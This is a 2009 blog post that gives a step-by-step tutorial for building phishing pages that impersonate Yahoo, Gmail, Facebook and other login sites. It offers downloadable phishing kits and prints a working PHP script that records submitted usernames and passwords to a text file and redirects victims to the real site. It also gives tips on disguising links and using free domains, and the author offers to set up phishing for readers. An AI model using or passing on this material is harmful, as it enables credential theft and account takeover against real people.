Showing posts with label phishing. Show all posts
Showing posts with label phishing. Show all posts

Saturday, October 10, 2009

Most detailed guide to phishing..

I am writing this post in response to the request made to me via comments to give tutorials about phishing.. Here i will be listing step by step instruction to create your own phishing page or a fake page..

So, before starting something more quick for the new learners.. I am giving the pre-made pages in the links.. You can use them.. or if you really wanna learn then scroll to Detailed Method:

Method 1: Use my Pages-
Here are the steps you must follow for this to work...

1. Sign up to a free hosting service like Freehostia or Ripway or anyone of your choice there are many available options for it..
2. Download the phishing pages for the site(s) you want..
Yahoo Mail
Rediff Mail
Orkut
Gmail
Blogger
FaceBook
3. Upload them to the hosting service (both php and html).. and get the url for the index.html, this will be your fake page..
4. you are done now.. just pass the link to the victim and ask them to login.. then open the hosting site and find the file passes.txt You will find all the variables in the site along with the login name and the password.. Njoy.. If you face any problem comment.. or if you want the pre-built fake pages for any other sites the also comment, I will create and add it here..
If you still struggle to create on your own, i will set it up for you.. and hand you the password..!! 

Method 2. Create Your Own (Detailed method) -

1. It is must to sign up with a hosting service, so get one first..
2. Then go to the page you want to create a fake page of, say yahoo.. and save the html file..( Go to login page not the main page)
3. Now you have to create a php script for recording all the variables that are entered in the page and storing it to a text file, You must know that even the login name and passwords are the variables here. so, you will get them to.. The script is self explanatory, but if you wanna know more about it comment and i will help you..

<?php
header("Location: http://www.yahoomail.com");
$handle = fopen("passes.txt", "a");
foreach($_GET as $variable => $value)
 {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

save this with name phis.php this one is for yahoo so, the url is for yahoo.. and it will record all the variables in the passes.txt

4. So now you have to link this script with the page you saved earlier..

5. Open the html file in your HTML editor or notepad, and find the "action = " label and replace the following thing with the name of the php file i.e phis.php
6. what you just did is to call your own script when the user submit its form using the action command in html, so now you have the password and the user is redirected to original page..

The following tips will make your task easier..
1. You can send them this link through an anchor text "Yahoo" having hyperlink to your URL.. this will remove the doubt about entering the url in the url navigation bar..
2. You can sign in to get free domains along with hosting mentioned before from the sites like CO.CC or Dot.tk which will make your task more simpler..

So, hope you enjoyed the post, please comment and let me know.. it will be highly encouraging..
Cya, Will be back with more.. Happy Hacking...

Featured Followers